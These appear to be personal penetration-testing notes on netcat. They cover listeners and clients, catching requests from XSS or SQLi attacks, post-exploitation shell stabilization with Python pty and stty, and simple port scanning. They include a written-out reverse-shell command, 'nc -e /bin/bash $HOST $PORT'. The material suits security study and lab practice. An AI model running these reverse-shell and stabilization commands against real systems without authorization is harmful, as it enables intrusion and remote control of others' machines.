The netcat binary is usually nc, but some systems have it as ncat or netcat instead.
Start a server
nc -l -p $PORT $HOST
The $HOST specification here is optional; if left off, netcat binds to 0.0.0.0.
Note that netcat will exit once the first connection closes.
(According to the netcat docs, it looks like nc -l $HOST $PORT should also work, but it doesn’t. I think — though I haven’t been able to verify — that what’s happening here is that -p specifies the port to listen to, while the port following the $HOST specification is the port to connect to.)
A netcat server doesn’t have to be used just for reverse shells. For example, you can also use it to catch web requests in conjunction with XSS or SQLi attacks.
Start a client
nc $HOST $PORT
Some versions of netcat support an -e flag that hooks STDIN and STDOUT of an executable to the established network connection. So something like the following will establish a reverse shell:
nc -e /bin/bash $HOST $PORT
Important
The -e flag (and similar -c flag) is considered a security risk (for obvious reasons!) and is disabled on many systems.
Useful flags
-l — listen for incoming connections (rather than make an outgoing connection)
-v — verbose
-n — skip DNS resolution (slightly faster, less noisy on the network)
The -c and -e flags, which allow netcat to hook other applications, are considered security risks (for obvious reasons!) and are disabled on many systems.
(Note that it’s also possible to reverse the /bin/sh and netcat portions of things; what important is that the named pipe lets us loop I/O between the two applications. See the discussion of msfvenom payloads for a detailed breakdown of this pattern.)
Initial netcat reverse shells (in particular web shells) are non-interactive.
Shell “stabilization”
Shell stabilization
Shell “stabilization” refers to the process of making a remote shell behave like a normal local shell — so, allowing interactive programs to work properly, ensuring that input is not echoed inappropriately, etc. In practice, this generally involves creating a second connection from within the “unstable” shell, and then using that (keeping the first connection around just so you can restart the “stabilized” shell if you accidentally exit/kill it).
A common method of stabilizing netcat shells is to use Python:
Start an instance of Bash connected to an actual PTTY: env TERM=xterm python -c 'import pty; pty.spawn("/bin/bash")'
Suspend the reverse shell.
Use stty raw -echo; fg to switch to raw keycode transmission (so that things like arrow keys get pushed to our remote shell), turn off terminal echo (to prevent seeing commands twice), and foreground the reverse shell.
Note that the stty command can be canceled using reset (after closing the reverse shell). Since echo is turned off, typing this won’t be visible. Trust the force!
The rlwrap package will handle almost all of this for you.
With the -z option, netcat will attempt to connect to all TCP ports on the targets in a sequential fashion (if no ports are specified; otherwise just to the specified port), reporting which are open. It’s like a simple, very slow version of Nmap!
Use -w to set the timeout in seconds.
Use -u to try connecting over UDP rather than TCP.